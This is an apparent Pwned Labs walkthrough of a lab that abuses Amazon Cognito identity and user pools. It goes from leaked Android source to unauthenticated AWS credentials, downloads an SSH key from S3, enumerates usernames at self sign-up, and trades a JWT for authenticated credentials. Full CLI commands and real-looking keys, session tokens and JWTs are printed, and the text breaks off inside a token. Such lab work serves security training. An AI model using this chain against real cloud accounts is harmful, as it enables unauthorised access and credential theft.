12 minutes
Pwned Labs - Abuse Cognito User and Identity Pools
Pwned Labs - Abuse Cognito User and Identity Pools
Scenario
During a routine external security sweep of Huge Logistics, your team stumbled upon a public git repository. It wasn’t just any repository; it contained the entire source code for their new Android application. It might just be the entry point you need to access the company’s broader cloud environment. The challenge now is to sift through the application’s intricacies, identify potential vulnerabilities, and see if these breadcrumbs lead deeper into Huge Logistics’ digital realm. The perimeter is your starting line; how far can you go?
Learning Outcomes
- Exploit permissive settings in Amazon Cognito User and Identity Pools
- Be able to identify vulnerabilities from reviewing source code
- Exploit a Lambda function
- Understand how this exploit chain could have been prevented
Real World Context
Misconfigurations or permissive settings in AWS Cognito User and Identity pools can allow access to resources that should not be accessed, and can result in malicious actors being able to move laterally and vertically within a cloud environment. Research conducted in 2019 by Andrés Riancho identified 2500 Cognito identity pools, which were used to gain access to more than 13000 S3 buckets (which are not publicly exposed), 1200 DynamoDB tables and 1500 Lambda functions.
Overview
Amazon Cognito allows developers to focus on the app experience instead of worrying about building, securing, and scaling a solution to handle user management, authentication, and sync across devices.
- The client authenticates against a user pool.
- The User Pool assigns three JSON Web Tokens (JWT) to the (Id, Access, and Refresh)
- The Id JWT is passed to the identity pool and a role is chosen via the JWT claims. The user then receives temporary IAM credentials with privileges that are based on the IAM role that was mapped to the group that user belongs to.
- The user can then make calls to AWS resources based on their privileges.
Attack
Identity Pools
This attack starts based on leaked source code as follows and we can see that it references an AWS Identity Pool and also an S3 Bucket
// Include necessary import statements
import android.app.Activity;
import android.os.Bundle;
import android.util.Log;
import android.widget.Button;
import android.widget.EditText;
import android.widget.ImageView;
import android.widget.TextView;
import android.widget.Toast;
import com.amazonaws.auth.AWSCredentialsProvider;
import com.amazonaws.auth.CognitoCachingCredentialsProvider;
import com.amazonaws.regions.Regions;
import com.amazonaws.services.lambda.AWSLambdaClient;
import com.amazonaws.services.lambda.model.InvokeRequest;
import com.amazonaws.services.lambda.model.InvokeResult;
import com.amazonaws.services.s3.AmazonS3Client;
import com.bumptech.glide.Glide;
import java.nio.charset.StandardCharsets;
public class MainActivity extends Activity {
private static final String IDENTITY_POOL_ID = "us-east-1:d2fecd68-ab89-48ae-b70f-44de60381367";
private static final String BUCKET_NAME = "hl-app-images";
private static final String IMAGE_KEY = "hl.png";
private AWSCredentialsProvider credentialsProvider;
private AWSLambdaClient awsLambdaClient;
private AmazonS3Client s3Client;
@Override
protected void onCreate(Bundle savedInstanceState) {
super.onCreate(savedInstanceState);
setContentView(R.layout.activity_main);
ImageView logoImageView = findViewById(R.id.logoImageView);
TextView statusTextView = findViewById(R.id.statusTextView);
EditText trackingNumberEditText = findViewById(R.id.trackingNumberEditText);
Button checkStatusButton = findViewById(R.id.checkStatusButton);
credentialsProvider = new CognitoCachingCredentialsProvider(
getApplicationContext(),
IDENTITY_POOL_ID,
Regions.US_EAST_1
);
s3Client = new AmazonS3Client(credentialsProvider);
// Load logo from S3 using Glide
Glide.with(this)
.load(s3Client.getUrl(BUCKET_NAME, IMAGE_KEY))
.into(logoImageView);
// Lambda client for invoking Lambda function
awsLambdaClient = new AWSLambdaClient(credentialsProvider);
checkStatusButton.setOnClickListener(view -> {
String trackingNumber = trackingNumberEditText.getText().toString();
if (!trackingNumber.isEmpty()) {
try {
InvokeRequest invokeRequest = new InvokeRequest()
.withFunctionName("Tracking")
.withPayload("\"" + trackingNumber + "\"");
InvokeResult invokeResult = awsLambdaClient.invoke(invokeRequest);
// Use the result returned by the Lambda function as package status
String result = new String(invokeResult.getPayload().array(), StandardCharsets.UTF_8);
statusTextView.setText(result);
} catch (Exception e) {
Log.e("MainActivity", "Error occurred while invoking Lambda function.", e);
Toast.makeText(this, "Error occurred while checking status.", Toast.LENGTH_SHORT).show();
}
} else {
Toast.makeText(this, "Please enter a tracking number.", Toast.LENGTH_SHORT).show();
}
});
}
}
Amazon Cognito can be configured to support unauthenticated identities and issues them with short-lived credentials for users that don’t authenticate with an identity provider as long as the requester has a valid unique identity ID.
We will use our personal AWS account to get an Identity ID using the Identity Pool ID
❯ aws cognito-identity get-id --identity-pool-id us-east-1:d2fecd68-ab89-48ae-b70f-44de60381367 --no-sign --region us-east-1
{
"IdentityId": "us-east-1:6391d33c-4b41-c03f-4fe6-77f41a616de0"
}
With a valid Identity ID we shall now see if we can get credentials
❯ aws cognito-identity get-credentials-for-identity --identity-id us-east-1:6391d33c-4b41-c03f-4fe6-77f41a616de0 --region us-east-1
{
"IdentityId": "us-east-1:6391d33c-4b41-c03f-4fe6-77f41a616de0",
"Credentials": {
"AccessKeyId": "ASIAWHEOTHRF4TYQIJUW",
"SecretKey": "omJWKoTa69EOIipz+sbLZkbwh0a29UA/ebq/PxVb",
"SessionToken": "IQoJb3JpZ2luX2VjEMn//////////wEaCXVzLWVhc3QtMSJGMEQCIAqjqiKJbCLdM/NO3I8kWhXeiiK2qvXTFh1KL0bTGPR2AiA01jZL/j6fFJjwxghbLjLUD6SzgCEbEBiF2R9dOBvKoyrTBQih//////////8BEAAaDDQyNzY0ODMwMjE1NSIMftx6p0aHoXnu68rHKqcF94lkl4B5493l2VsI1SP26XXP29Y1AdfYfTreFGCuuXbGHG1PiNQCf8R7BJqe+Wh81nN9kfo6cBtBAvWH2WKCpNATdtWCsSqg7G/p7uQVeCAgNaw2AoswU7s/f6KLrpnUGjPVOM8i2xABfHhPmIa5YTJeoCN6tGV3FRYegyr8If/JHwH7Z1oHIl45GnuOq1xlVkwdfYCojZE25G2vlvT48ww6VCkmNW1SKz2VVxiRF0OMmNWVKB5Kp8y/zjoA/wX4B2ylz0JcQX6UJ0QCiVLGHAmXR+yzgzAPj5UE8P37Y8HmPm0pONKWp7ZU+gDrHXLdfLMneDt/PnQ94iNYbMae4jW88hpk4E80oPcsBQnj2dUTp0RgCjmQ5KmjMEkbWI2WBBdFHqP7svJ6XeueaylCE4qYC37fuaMcSmESvMD1Sos4Feh5L01DEMOdFhqy0i+BPS0qWIRAxb2fVnTchc1ZANI0qiScvCJFhGMtoWwatOtpxH4M0HiS5MkMkgIoXDTpasSOBTrd/hBEBEHxI7viXYyRURKsEtaYJVxXtbD0axxV1auAQmtrvMV5i9MOZG8BdfxDNdCrIOnGHVqUNglN3mWA9tdgLO7XBGim7b4aBM+2SnF5xMQwo7YfDfHq0BlmrB5l3S26cvhENPU2wP5WoFru+dfP4eF6lmcrWds18vdy0+ZBMCy5+J1DgSYMiFDlD+iEY+lk2Gq1Uvhg6sjNEzg3qRcL1p0f3SqyXJubRgMHlN8bkCYvuHsH7+yRfnzF6UFCpWwkvAM1gaX+9GLwB4C14vR6G9fJi3Vb58mEz/jjOKoGvbGB/3V+XcqazgJS47Ok/CmgjT8l0nIWjIBHQXcfe54rmrR8UCA+AhctCKLf1/aj/Ogt8K/x2PzlZfnX5wDYkOVOEjD58YK1BjrdAucoaQdWgmyQ9VK/CpHVxCOS15HwkkAK0aeLh+eBp4ElCBsS9njFI3u1v3kpEh9B9BMK69FWscNWLeB9kK62MtflziKmsYBTRAp0wFHUKa3USK8+ei1q6vDifxW7F5epL/FyNg9AeC3ncZBgQNrEh3O8W1WXhPLRE/fWYnLQAWQmM7KHfMra3bAUAZOLIjwyZJyEXXxoiUyhZwD/MCZiMOsTQ5cperOeXn3LmlQJWXEhN7IgyoWQLFHqam3bd9Trdp7Ih7tzQzP7AsjLvIXsHHXjaxLxXo15wRsNKVkod0HHJ8tbLGFxwKkJg1oVlYMIgHadV5rsg8HygwK2VraZTfsNzga8yO3SULD5IMzFgwfF0TGpxJ8/B9B9t2QT1pA8soFUFtWzAvzByWURiemQBKdE6DW+JEi4uPCatcU1MuGZGJ7g6QSDYrTxvXL//EmeDcNKzV9B5KF3fTAO2jg=",
"Expiration": "2024-07-24T17:19:05+08:00"
}
}
We shall load these credentials using aws configure
and then aws configure set aws_session_token <token>
and check that they are valid and functioning correctly
❯ aws --profile cognito configure
AWS Access Key ID [None]: ASIAWHEOTHRF4TYQIJUW
AWS Secret Access Key [None]: omJWKoTa69EOIipz+sbLZkbwh0a29UA/ebq/PxVb
Default region name [None]: us-east-1
Default output format [None]:
❯ aws --profile cognito configure set aws_session_token "IQoJb3JpZ2luX2VjEMn//////////wEaCXVzLWVhc3QtMSJGMEQCIAqjqiKJbCLdM/NO3I8kWhXeiiK2qvXTFh1KL0bTGPR2AiA01jZL/j6fFJjwxghbLjLUD6SzgCEbEBiF2R9dOBvKoyrTBQih//////////8BEAAaDDQyNzY0ODMwMjE1NSIMftx6p0aHoXnu68rHKqcF94lkl4B5493l2VsI1SP26XXP29Y1AdfYfTreFGCuuXbGHG1PiNQCf8R7BJqe+Wh81nN9kfo6cBtBAvWH2WKCpNATdtWCsSqg7G/p7uQVeCAgNaw2AoswU7s/f6KLrpnUGjPVOM8i2xABfHhPmIa5YTJeoCN6tGV3FRYegyr8If/JHwH7Z1oHIl45GnuOq1xlVkwdfYCojZE25G2vlvT48ww6VCkmNW1SKz2VVxiRF0OMmNWVKB5Kp8y/zjoA/wX4B2ylz0JcQX6UJ0QCiVLGHAmXR+yzgzAPj5UE8P37Y8HmPm0pONKWp7ZU+gDrHXLdfLMneDt/PnQ94iNYbMae4jW88hpk4E80oPcsBQnj2dUTp0RgCjmQ5KmjMEkbWI2WBBdFHqP7svJ6XeueaylCE4qYC37fuaMcSmESvMD1Sos4Feh5L01DEMOdFhqy0i+BPS0qWIRAxb2fVnTchc1ZANI0qiScvCJFhGMtoWwatOtpxH4M0HiS5MkMkgIoXDTpasSOBTrd/hBEBEHxI7viXYyRURKsEtaYJVxXtbD0axxV1auAQmtrvMV5i9MOZG8BdfxDNdCrIOnGHVqUNglN3mWA9tdgLO7XBGim7b4aBM+2SnF5xMQwo7YfDfHq0BlmrB5l3S26cvhENPU2wP5WoFru+dfP4eF6lmcrWds18vdy0+ZBMCy5+J1DgSYMiFDlD+iEY+lk2Gq1Uvhg6sjNEzg3qRcL1p0f3SqyXJubRgMHlN8bkCYvuHsH7+yRfnzF6UFCpWwkvAM1gaX+9GLwB4C14vR6G9fJi3Vb58mEz/jjOKoGvbGB/3V+XcqazgJS47Ok/CmgjT8l0nIWjIBHQXcfe54rmrR8UCA+AhctCKLf1/aj/Ogt8K/x2PzlZfnX5wDYkOVOEjD58YK1BjrdAucoaQdWgmyQ9VK/CpHVxCOS15HwkkAK0aeLh+eBp4ElCBsS9njFI3u1v3kpEh9B9BMK69FWscNWLeB9kK62MtflziKmsYBTRAp0wFHUKa3USK8+ei1q6vDifxW7F5epL/FyNg9AeC3ncZBgQNrEh3O8W1WXhPLRE/fWYnLQAWQmM7KHfMra3bAUAZOLIjwyZJyEXXxoiUyhZwD/MCZiMOsTQ5cperOeXn3LmlQJWXEhN7IgyoWQLFHqam3bd9Trdp7Ih7tzQzP7AsjLvIXsHHXjaxLxXo15wRsNKVkod0HHJ8tbLGFxwKkJg1oVlYMIgHadV5rsg8HygwK2VraZTfsNzga8yO3SULD5IMzFgwfF0TGpxJ8/B9B9t2QT1pA8soFUFtWzAvzByWURiemQBKdE6DW+JEi4uPCatcU1MuGZGJ7g6QSDYrTxvXL//EmeDcNKzV9B5KF3fTAO2jg="
❯ aws --profile cognito sts get-caller-identity
{
"UserId": "AROAWHEOTHRFRYHGIQFVK:CognitoIdentityCredentials",
"Account": "427648302155",
"Arn": "arn:aws:sts::427648302155:assumed-role/Cognito_StatusAppUnauth_Role/CognitoIdentityCredentials"
}
With valid credentials, let’s check out that S3 bucket that we found in the source code. We find that there is SSH private key which we will download that may come in handy later.
❯ aws --profile cognito s3 ls hl-app-images --recursive
2023-07-16 01:52:13 4052 hl.png
2023-07-16 02:10:54 0 temp/
2023-07-16 02:11:22 3428 temp/id_rsa
❯ aws --profile cognito s3 cp s3://hl-app-images/temp/id_rsa .
download: s3://hl-app-images/temp/id_rsa to ./id_rsa
User Pools
The team also found a publicly exposed Cognito Hosted UI for a web-app associated with a Cognito User Pool and the URL and the form reference the Client ID of 16f1g98bfuj9i0g3f8be36kkrl
at https://huge-logistics.auth.us-east-1.amazoncognito.com/login?client_id=16f1g98bfuj9i0g3f8be36kkrl&response_type=code&scope=https%3A%2F%2Fapi.huge-logistics.com%2Fstatus+openid&redirect_uri=https%3A%2F%2Fhuge-logistics.com
There is a sign up field on the page but we shall use the AWS CLI for this and after numerous attempts due to insufficiently secure password and then finding out that there is an account called “hacker” already, which is not a good sign, we have been able to create an account.
❯ aws cognito-idp sign-up --client-id 16f1g98bfuj9i0g3f8be36kkrl --username hacker --password thisisnotsecure --region us-east-1
An error occurred (InvalidPasswordException) when calling the SignUp operation: Password did not conform with policy: Password must have uppercase characters
❯ aws cognito-idp sign-up --client-id 16f1g98bfuj9i0g3f8be36kkrl --username hacker --password Thisisnotsecure --region us-east-1
An error occurred (InvalidPasswordException) when calling the SignUp operation: Password did not conform with policy: Password must have numeric characters
❯ aws cognito-idp sign-up --client-id 16f1g98bfuj9i0g3f8be36kkrl --username hacker --password Thisisnotsecure1 --region us-east-1
An error occurred (InvalidPasswordException) when calling the SignUp operation: Password did not conform with policy: Password must
❯ aws cognito-idp sign-up --client-id 16f1g98bfuj9i0g3f8be36kkrl --username hacker --password Thisisnotsecure1! --region us-east-1
An error occurred (UsernameExistsException) when calling the SignUp operation: User already exists
❯ aws cognito-idp sign-up --client-id 16f1g98bfuj9i0g3f8be36kkrl --username legit_user --password Thisisnotsecure1! --region us-east-1
{
"UserConfirmed": false,
"UserSub": "a30cccde-b030-4020-a970-aa08d4e1f8e5"
}
What is interesting is that this is also possible to be used to enumerate for valid usernames as we saw above that our account
hacker
already existed
We can see from above that our account is not confirmed and this would appear to be using the AWS Recommended setting of “Allow Cognito to automatically send messages to verify and confirm” and as such we will need to specify and email address.
We create a one-time email address and then create a new account
❯ aws cognito-idp sign-up --client-id 16f1g98bfuj9i0g3f8be36kkrl --username legit_user1 --password Thisisnotsecure1! --region us-east-1 --user-attributes Name="email",Value="cognito-lab.nutshell514@passmail.net" Name="name",Value="legit_user1"
{
"UserConfirmed": false,
"CodeDeliveryDetails": {
"Destination": "c***@p***",
"DeliveryMedium": "EMAIL",
"AttributeName": "email"
},
"UserSub": "8c3554fc-9001-48a9-bc05-456cdd3dcf63"
}
We receive an email
We validate our account with the confirmation code with no output returned indicating it is successful and then we request a JWT
❯ aws cognito-idp confirm-sign-up --client-id 16f1g98bfuj9i0g3f8be36kkrl --username legit_user1 --confirmation-code 523324 --region us-east-1
❯ aws cognito-idp initiate-auth --client-id 16f1g98bfuj9i0g3f8be36kkrl --auth-flow USER_PASSWORD_AUTH --auth-parameters USERNAME=legit_user1,PASSWORD=Thisisnotsecure1! --region us-east-1
{
"ChallengeParameters": {},
"AuthenticationResult": {
"AccessToken": "eyJraWQiOiJDTFRKamV3bm5sT3BXTmxzOTZhbW1veEtZaHFqMVBuWjJrMXdMVVg2bno0PSIsImFsZyI6IlJTMjU2In0.eyJzdWIiOiI4YzM1NTRmYy05MDAxLTQ4YTktYmMwNS00NTZjZGQzZGNmNjMiLCJpc3MiOiJodHRwczpcL1wvY29nbml0by1pZHAudXMtZWFzdC0xLmFtYXpvbmF3cy5jb21cL3VzLWVhc3QtMV84cmNLN2FidHoiLCJjbGllbnRfaWQiOiIxNmYxZzk4YmZ1ajlpMGczZjhiZTM2a2tybCIsIm9yaWdpbl9qdGkiOiI2YWE4NzRiOC0xY2Y1LTQ3NzktYmFkZS03ZThiYTlhZGMyMWUiLCJldmVudF9pZCI6IjE0M2MwZmI3LTVlNTUtNDc4YS04MzM2LTI0OWZjN2EzYmQ0ZSIsInRva2VuX3VzZSI6ImFjY2VzcyIsInNjb3BlIjoiYXdzLmNvZ25pdG8uc2lnbmluLnVzZXIuYWRtaW4iLCJhdXRoX3RpbWUiOjE3MjE4MTEzMDIsImV4cCI6MTcyMTgxNDkwMiwiaWF0IjoxNzIxODExMzAyLCJqdGkiOiIzNTYyMGEyMy0yODE1LTRjZjEtOWQzMS01YzUzYzA1MDRlMWYiLCJ1c2VybmFtZSI6ImxlZ2l0X3VzZXIxIn0.GUruvUKfiSdsByQFUISFMiLJjhk_vnEZNJaAdlK7t8u2Cc_JuT6JaCAEWtseJYonpKzYZ8jclEvcZ_6Y9t-wOA9g86LtaY0e9V1dW6I7Onq6wyjXdT1jskPIgfNgl5QejqpTsDJXQuNZWJ0xF-h_BmVO_CQjdtzOh264WcpOsuKP9fx_TNYYfn11PNo4kfDUDIfggSc_8ornX-lXQG1PASMtBg8PDkOqty7pJxWVZ4uWXYxzAlCzLZ4NAEmst7fhqc3hM6-U0FFE13_CCVGloq8TlMnVG1iUn7rZuSerzd1ijgP1tvEdMclIuAT4q-VAfWTHDapYsUAw19Xg9mYlew",
"ExpiresIn": 3600,
"TokenType": "Bearer",
"RefreshToken": "eyJjdHkiOiJKV1QiLCJlbmMiOiJBMjU2R0NNIiwiYWxnIjoiUlNBLU9BRVAifQ.yiQOM4ec4jcok2_QEdOYUmF5Y1xfA3VAFPdXyVN5-iZTrDQD-SQbreSkCAgEJnMRZN3_JBeacSX120_95wBRdZuzWlJoD42DG0naeoQX7rHq5BPWbX1A2Z1vlBNVY9GWmkZydxULMozbDn3bPIYSgGyJlvoX3PHOQzwuSQY4k3F4GYd5s0GI3_rWxyi5N_S6zTHeDUhzhaSIw_0tiinLNxYgqsHhm1GQ4MNLWnH5Oy44TytXbCFahuM99UtaNwQzLE5uqrZG32FBNhVojDp0gIiGn5FjL-xE5yVtx_s_YRvbER9ffcYYRtd_Ughyzp2BszaZfw66jlH0ZjaANXHRJQ.SfWXb9SwsWKfdssJ.UaBvkwdC85-Fg4cXJQXMCOB8YNoHX_If5VNW4LkUv3bbDFKAHvxue6vNpAdIaQUpr6ItTAprSQPj83c3MCeF3UvDAa0iZB42x2I2ZJGrj1dDqHTxMDHP25eukmVNYgrmbVPG9o_sGHaCqpQvpNWmhBKrebJJHAkfKNTdMFu6TafnVCs50d1LSk6wL2WLuBMXQhbvDCT1zktnxZ-aRbNmTqcGoCBTSf2gojSXMbwsztkjquCfJJLXNKlscSDntDu02xk3C1iS8IdcYHkYwwWALjL3LRthLthDXRJOa77AcpaYFPp8IQA1rv_JJHOxxURYnNOmt71W-wWGab4FyKciNZ65t8Lb4R1hM5L31sElkD8HEhRNrTZ8Elxz3vbvYFGPNegrvuvNusozhDp3-JW1ApS567ZIZkh2Z81THX64dBT-J4gWIAWcu-S_J318xFY2e6hPG4Jfj6UvBkCo-kA7LHQNW8COjHL4pu8bTNECw_Zm455b8nUyzCkkchxsspPiCZWdxKO0oyTVJLMDQ2BWLcju9vovwllvkQHfnIsIB1i8ujwVOpkgCG9aoDBOz9UwSBdBkhbDWzXBVgbtSbj876XfsY36dbIzzxhXoNQcjz3BF6OjRxTiY9Kg8t1YrdEb4FYx-WAJq9864ys2zMz7wN_MHo6QxDjXD4jDzRwhRA7jAngXooWQzS4GVq9JPLWVnz2qNgsY_IWunS8Z75_Wn6nDC5kOL00SwuqQg1KvC3lMYRzU5Dw7MBsZJl-mLt0Ohy4S4LuoftNt_E98hfu0HrWkNlzSmSdmd78t9aPVsTH9StkQB3xYGZ-yZrBI4hB5fAd4RJq110EgSQaujFccbrQqKFnI5BUqAfaQ4LPn38mLX4YHv7a0mGklPxZYL2vxW1b8cEBaL85IE8txxLgTk0tme71Rm5q_JjS-Cmqkbt25pYWoWvrnFiVMce_8Cp8Zd9z3AjSAzWAu71JLhq8_8yeimxoOWtRfO7AQMn3dy3WTVtBK05FkthdHvvWnTT1-d4tKRPxlHTZDx41AEx5lVWbIq0lLehqQCwdv7dRpiPjf4kn00zpBhGLCnWtYmMYHHD0qF8ZKgM6did4Ii5Ljl42QhTLyb3xhfl0O73n4vvoAqgEhY0SIWbOnu0BFbCXtKGmd5rRR9EoFST2AE0JV8xU3X7K5QZ4x82triMMI4jRiAhB4Yc0jms9OxAhariGcP3w0k9h1TR575sE08ogWtHeJXQmaHUa-jpZNsbgELy2AxelaSBcHWjuLNXpo5xYV81lqBRMoPPSFVw.maZZ38qA1tBcBSYvwzrGJQ",
"IdToken": "eyJraWQiOiJqTWtSTTVsQnJNUzZxZXFJVWVCRVQyRlhHOUUrZjdwbXVLajM2VlVGMStrPSIsImFsZyI6IlJTMjU2In0.eyJzdWIiOiI4YzM1NTRmYy05MDAxLTQ4YTktYmMwNS00NTZjZGQzZGNmNjMiLCJlbWFpbF92ZXJpZmllZCI6dHJ1ZSwiaXNzIjoiaHR0cHM6XC9cL2NvZ25pdG8taWRwLnVzLWVhc3QtMS5hbWF6b25hd3MuY29tXC91cy1lYXN0LTFfOHJjSzdhYnR6IiwiY29nbml0bzp1c2VybmFtZSI6ImxlZ2l0X3VzZXIxIiwib3JpZ2luX2p0aSI6IjZhYTg3NGI4LTFjZjUtNDc3OS1iYWRlLTdlOGJhOWFkYzIxZSIsImF1ZCI6IjE2ZjFnOThiZnVqOWkwZzNmOGJlMzZra3JsIiwiZXZlbnRfaWQiOiIxNDNjMGZiNy01ZTU1LTQ3OGEtODMzNi0yNDlmYzdhM2JkNGUiLCJ0b2tlbl91c2UiOiJpZCIsImF1dGhfdGltZSI6MTcyMTgxMTMwMiwibmFtZSI6ImxlZ2l0X3VzZXIxIiwiZXhwIjoxNzIxODE0OTAyLCJpYXQiOjE3MjE4MTEzMDIsImp0aSI6IjhlMjgzMzRhLTYxNzgtNDM0MC04M2ZjLTNmYzM0NWE2NTRjZCIsImVtYWlsIjoiY29nbml0by1sYWIubnV0c2hlbGw1MTRAcGFzc21haWwubmV0In0.DNsQohA0w6kRN4GI8X4-dlonxGuqh85LYjzevsB95ZqnLKDns-k9iSIHcXIy1y2p4-CGmWuBAFMr6y0MTDTNLSdxFYoZJUBeNTfFUBYmBlvXUncip5XUwtfpjEJ0WWYAcsu8F_UK9Un3kwah3zDbavD5pFwIHEtqJLvLLXQsCH6KNbY_XZwZsmfNhYqXXOMml26KOfwvQR0FnvW3w7R8YtmhQt_UDOgWsIbl8hw-NmxYNrQZw7gzDi0sn-zuzhV08y5uOKfCKgJ4Zi4yZpkdZFbMh9ri21TEOKjhUgUSLlTZImy9yWxWzeq7BV5OpdEDWJ22l4lFP-xQFl5TqanAog"
}
}
We use https://jwt.io to decode the JWT and we can see that we have the User Pool ID of 8rcK7abtz
Issue the command below that specifies the get-id
action, coping the access token from IdToken
, and specifying the user pool ID.
❯ aws cognito-identity get-id --identity-pool-id "us-east-1:d2fecd68-ab89-48ae-b70f-44de60381367" --region us-east-1 --logins "{ \"cognito-idp.us-east-1.amazonaws.com/us-east-1_8rcK7abtz\": \"eyJraWQiOiJqTWtSTTVsQnJNUzZxZXFJVWVCRVQyRlhHOUUrZjdwbXVLajM2VlVGMStrPSIsImFsZyI6IlJTMjU2In0.eyJzdWIiOiI4YzM1NTRmYy05MDAxLTQ4YTktYmMwNS00NTZjZGQzZGNmNjMiLCJlbWFpbF92ZXJpZmllZCI6dHJ1ZSwiaXNzIjoiaHR0cHM6XC9cL2NvZ25pdG8taWRwLnVzLWVhc3QtMS5hbWF6b25hd3MuY29tXC91cy1lYXN0LTFfOHJjSzdhYnR6IiwiY29nbml0bzp1c2VybmFtZSI6ImxlZ2l0X3VzZXIxIiwib3JpZ2luX2p0aSI6IjZhYTg3NGI4LTFjZjUtNDc3OS1iYWRlLTdlOGJhOWFkYzIxZSIsImF1ZCI6IjE2ZjFnOThiZnVqOWkwZzNmOGJlMzZra3JsIiwiZXZlbnRfaWQiOiIxNDNjMGZiNy01ZTU1LTQ3OGEtODMzNi0yNDlmYzdhM2JkNGUiLCJ0b2tlbl91c2UiOiJpZCIsImF1dGhfdGltZSI6MTcyMTgxMTMwMiwibmFtZSI6ImxlZ2l0X3VzZXIxIiwiZXhwIjoxNzIxODE0OTAyLCJpYXQiOjE3MjE4MTEzMDIsImp0aSI6IjhlMjgzMzRhLTYxNzgtNDM0MC04M2ZjLTNmYzM0NWE2NTRjZCIsImVtYWlsIjoiY29nbml0by1sYWIubnV0c2hlbGw1MTRAcGFzc21haWwubmV0In0.DNsQohA0w6kRN4GI8X4-dlonxGuqh85LYjzevsB95ZqnLKDns-k9iSIHcXIy1y2p4-CGmWuBAFMr6y0MTDTNLSdxFYoZJUBeNTfFUBYmBlvXUncip5XUwtfpjEJ0WWYAcsu8F_UK9Un3kwah3zDbavD5pFwIHEtqJLvLLXQsCH6KNbY_XZwZsmfNhYqXXOMml26KOfwvQR0FnvW3w7R8YtmhQt_UDOgWsIbl8hw-NmxYNrQZw7gzDi0sn-zuzhV08y5uOKfCKgJ4Zi4yZpkdZFbMh9ri21TEOKjhUgUSLlTZImy9yWxWzeq7BV5OpdEDWJ22l4lFP-xQFl5TqanAog\" }"
{
"IdentityId": "us-east-1:6391d33c-4b07-cba2-f25f-e665d234b384"
}
We now will get-credentials-for-identity
❯ aws cognito-identity get-credentials-for-identity --identity-id us-east-1:6391d33c-4b07-cba2-f25f-e665d234b384 --region us-east-1 --logins "{ \"cognito-idp.us-east-1.amazonaws.com/us-east-1_8rcK7abtz\": \"eyJraWQiOiJqTWtSTTVsQnJNUzZxZXFJVWVCRVQyRlhHOUUrZjdwbXVLajM2VlVGMStrPSIsImFsZyI6IlJTMjU2In0.eyJzdWIiOiI4YzM1NTRmYy05MDAxLTQ4YTktYmMwNS00NTZjZGQzZGNmNjMiLCJlbWFpbF92ZXJpZmllZCI6dHJ1ZSwiaXNzIjoiaHR0cHM6XC9cL2NvZ25pdG8taWRwLnVzLWVhc3QtMS5hbWF6b25hd3MuY29tXC91cy1lYXN0LTFfOHJjSzdhYnR6IiwiY29nbml0bzp1c2VybmFtZSI6ImxlZ2l0X3VzZXIxIiwib3JpZ2luX2p0aSI6IjZhYTg3NGI4LTFjZjUtNDc3OS1iYWRlLTdlOGJhOWFkYzIxZSIsImF1ZCI6IjE2ZjFnOThiZnVqOWkwZzNmOGJlMzZra3JsIiwiZXZlbnRfaWQiOiIxNDNjMGZiNy01ZTU1LTQ3OGEtODMzNi0yNDlmYzdhM2JkNGUiLCJ0b2tlbl91c2UiOiJpZCIsImF1dGhfdGltZSI6MTcyMTgxMTMwMiwibmFtZSI6ImxlZ2l0X3VzZXIxIiwiZXhwIjoxNzIxODE0OTAyLCJpYXQiOjE3MjE4MTEzMDIsImp0aSI6IjhlMjgzMzRhLTYxNzgtNDM0MC04M2ZjLTNmYzM0NWE2NTRjZCIsImVtYWlsIjoiY29nbml0by1sYWIubnV0c2hlbGw1MTRAcGFzc21haWwubmV0In0.DNsQohA0w6kRN4GI8X4-dlonxGuqh85LYjzevsB95ZqnLKDns-k9iSIHcXIy1y2p4-CGmWuBAFMr6y0MTDTNLSdxFYoZJUBeNTfFUBYmBlvXUncip5XUwtfpjEJ0WWYAcsu8F_UK9Un3kwah3zDbavD5pFwIHEtqJLvLLXQsCH6KNbY_XZwZsmfNhYqXXOMml26KOfwvQR0FnvW3w7R8YtmhQt_UDOgWsIbl8hw-NmxYNrQZw7gzDi0sn-zuzhV08y5uOKfCKgJ4Zi4yZpkdZFbMh9ri21TEOKjhUgUSLlTZImy9yWxWzeq7BV5OpdEDWJ22l4lFP-xQFl5TqanAog\" }"
{
"IdentityId": "us-east-1:6391d33c-4b07-cba2-f25f-e665d234b384",
"Credentials": {
"AccessKeyId": "ASIAWHEOTHRFV7HWQWXL",
"SecretKey": "pPHkx7if25OhMucq+8U4uMua9zA64FBZz8NsN2PF",
"SessionToken": "IQoJb3JpZ2luX2VjEMr//////////wEaCXVzLWVhc3QtMSJHMEUCIQCsHDELY5nt4a9VNcqCUQH00A4rL9rDDW/vVPOJDcyy/wIgR0YY3SmWQBdOarMg40QRG2n8zPytGWDQ4bO1+TCfzWQqzQQIov//////////ARAAGgw0Mjc2NDgzMDIxNTUiDGr3vvtNhaYuRmhZYyqhBO3G8PW+nPtYaj8uYdKLaeNp2d0twDb0KeGz+gaZEAu1dSdJZB+u6752p/HWQjNQ4Vz4JsMdVTDbBIQR6A/Vt+ssb0kxpM3/53sDJMd8n1Aon0xRJRUUMWj30uL7q2SJC/GjTmjO0ocYmGql3384ZtuKtAYhFNx2ZCj0ssfnf7JIABea1Ct0ppsImdSuzer//1JQZvkzVdaXVdONSm92Dn382jvT6AG+JXHzrS+CY7YahQCcYDiRuXPgQrySq75lfQUSz0z+DyCruMloh6SGT7ZXy+lJAK+aA0VOlGZBJxKqw6ld0GF+oWaz6aMnbMjlMMK9N8ULwH+iFYa0Mk5IsNlk5GsDCPDOmerKg+dKhQCBhxt42oGltUwS5Z1+7qG+SGXesQJncVIEAeu1m6RlW2ihZNtmy+vdDcRd4RiY291mBZWwtaNYhY60dackGAn2OXUYwNoVo3oUiwGCT+mkVHcw/SHSy3Ufaibr9bEIJfwQHbbOD7pc4GKGiZSDi0ib0f+9aZeR15Kvegiyw6CiFt5BaCQ9hZd8ASueXRU3+b6oytC0kRbVU2TgWKuB76UZxb5vRiQoLIlO57ADJdhEivDfSfgeHK/lnTpORqaTGgiCHK/ZdUEOhLOfAbHEkaATLQCGnqstjqPhsgLquPN9yk+fnqdTvG6f2NzYFAULN+sGk0M4Yscn5hpRv+wTNhCu7Vln9Eh1zdzYoU/E+fxJQEuyMN+Mg7UGOoUCeSlsb/963F6R3drueQoEb6vd2PaNUQAhGsMRRst6tTXHOvFXiOT77P6Bue0mzkD2/ll69Xr0vlcw+TD0VJ0uy/uXIMbkSFk6M3N3f3MengPo5SyKIjZpOLVnprIf3NCPuyVzg7vtpMVgzm21v8XnMSAI39Hw28tfNcRSkCPxy1rmS0UKERLN5qmBmpUI8XKtrc1TOdBL3D9IbxyjxEtmuV99aiaYd8rrCUvGDPKtECvTs0+2KktPC1+ZFe4fZp2PjpvEiqTVzRCVY0SkAcpUTK77S94XK/vGXc5s3hmtOMZzlhdRONN1